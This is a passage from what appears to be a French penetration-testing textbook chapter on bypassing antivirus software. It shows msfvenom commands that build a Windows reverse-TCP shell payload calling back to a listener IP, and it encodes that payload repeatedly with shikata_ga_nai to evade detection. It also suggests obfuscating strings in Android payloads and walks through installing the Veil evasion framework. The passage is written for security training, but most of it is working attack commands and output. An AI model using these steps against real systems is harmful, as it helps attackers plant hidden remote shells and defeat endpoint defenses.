Le contournement des antivirus
Introduction
La meilleure défense étant bien souvent l’attaque, les équipes de défense font évoluer leurs techniques en prenant en compte celles des attaquants.
C’est pourquoi les payloads générés par le framework Metasploit sont de plus en plus connus et donc de plus en plus détectables par les antivirus ou bien par les IDS/IPS.
Prenons le cas d’un simple payload généré par MSFvenom :
root@kali:/tmp# msfvenom -a x86 --platform windows -p
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -f exe -o
/tmp/malicious.exe
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /tmp/malicious.exe
L’analyse de ce simple payload ne contenant aucun moyen de camouflage peut être réalisée par le site VirusTotal (https://www.virustotal.com) :
VirusTotal est un service gratuit qui analyse les fichiers et URL suspects et facilite la détection rapide des virus, vers, trojans et tous types de malwares.
Au sein du VirusTotal, 51 antivirus sur 71 intègrent ce payload au sein de leurs bases antivirales, pouvant ainsi mettre la tentative de compromission de la cible en échec. Néanmoins, MSFvenom intègre des fonctionnalités permettant de tenter de déjouer les protections antivirales.
Metasploit
1. Encodage
Comme précisé au chapitre Les attaques côté client, MSFvenom est le fruit de MSFpayload et de MSFencode. Les encoders permettent de modifier le payload afin qu’il ne soit pas aussi simplement identifiable par les solutions de sécurité.
La liste des encoders est disponible grâce à la commande msfvenom --list encoders :
root@kali:/tmp# msfvenom --list encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank
---- ----
cmd/brace low
cmd/echo good
cmd/generic_sh manual
cmd/ifs low
cmd/perl normal
cmd/powershell_base64 excellent
cmd/printf_php_mq manual
generic/eicar manual
generic/none normal
mipsbe/byte_xori normal
mipsbe/longxor normal
Dès lors, il est possible d’encoder les payloads en utilisant l’option --encoder (ou -e) suivie de l’encoder souhaité ainsi que l’option --iterations (-i) permettant de spécifier le nombre d’encodages du payload :
root@kali:/tmp# msfvenom -a x86 --platform windows -p
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -e
x86/shikata_ga_nai -i 5 -f exe -o /tmp/malicious2.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with...
Android
S’il est reconnu que les logiciels malveillants se montrent beaucoup plus présents sur les ordinateurs, cela ne signifie pas que les smartphones ne sont pas attaqués. Ainsi, depuis plusieurs années, de nombreux éditeurs d’antivirus sortent les versions mobiles de ces derniers.
Ces versions mobiles sont obligatoirement différentes des versions pour ordinateurs. En effet, les contraintes, notamment celles de la batterie sont à prendre en considération. En effet, aucun utilisateur n’accepterait une autonomie d’une heure pour une meilleure sécurité. Ce « manque » de fonctionnalité de la part des antivirus leur permettant de respecter les contraintes entraîne que la grande majorité de ces derniers réalise uniquement une analyse par signature.
De nombreuses études mettent en avant le fait que plusieurs méthodes existent permettant de réduire de nombre de détection par les antivirus. Les méthodes les plus simples à mettre en place sont notamment l’obfuscation de code (chaîne de caractères, nom des variables, nom des paquets, class, méthode, etc.)
Dans le cadre d’une charge générée via MSFVenom, la modification des chaînes de caractères MSF, Metasploit ou encore exploit fait chuter drastiquement la détection des payloads...
Veil
Bien qu’il soit possible de contourner certains antivirus grâce aux techniques d’encodage de MSFvenom, certains d’entre eux se laissent difficilement berner. C’est là où le chiffrement apporte de nouvelles opportunités.
Néanmoins, MSFvenom est surtout un outil permettant de créer des charges utiles, ses techniques de contournement antiviral ne sont pas les plus évoluées qui soient.
Le framework Veil (anciennement Veil Evasion) quant à lui est un outil conçu pour générer des charges utiles Metasploit qui contournent les solutions antivirales courantes.
1. Installation de Veil
Par défaut, Veil n’est pas installé sous Kali. Néanmoins, son installation est relativement simple grâce au système de gestion de paquets apt :
root@kali:~# apt -y install veil
root@kali:~# git clone https://github.com/Veil-Framework/Veil
root@kali:~# cd Veil/
root@kali:~/Veil# ./config/setup.sh --force --silent
[*] Initializing package installation
[*] Pulling down binary dependencies
[*] Empty folder... git cloning
[*] Installing Wine
[*] Adding i386 architecture to x86_64 system for Wine
[*] Updating APT
[*] Installing Wine 32-bit and 64-bit binaries (via APT)
[*] Creating new Veil Wine environment in: /var/lib/veil/wine
[*] Initializing Veil's Wine environment...
[*] Veil Wine environment successfully created!
[I] Done!
Une fois installé, il est possible de lancer Veil de la manière suivante :
root@kali:~/Veil# ./Veil.py
==================================================================
Veil | [Version]: 3.1.12
==================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
==================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information...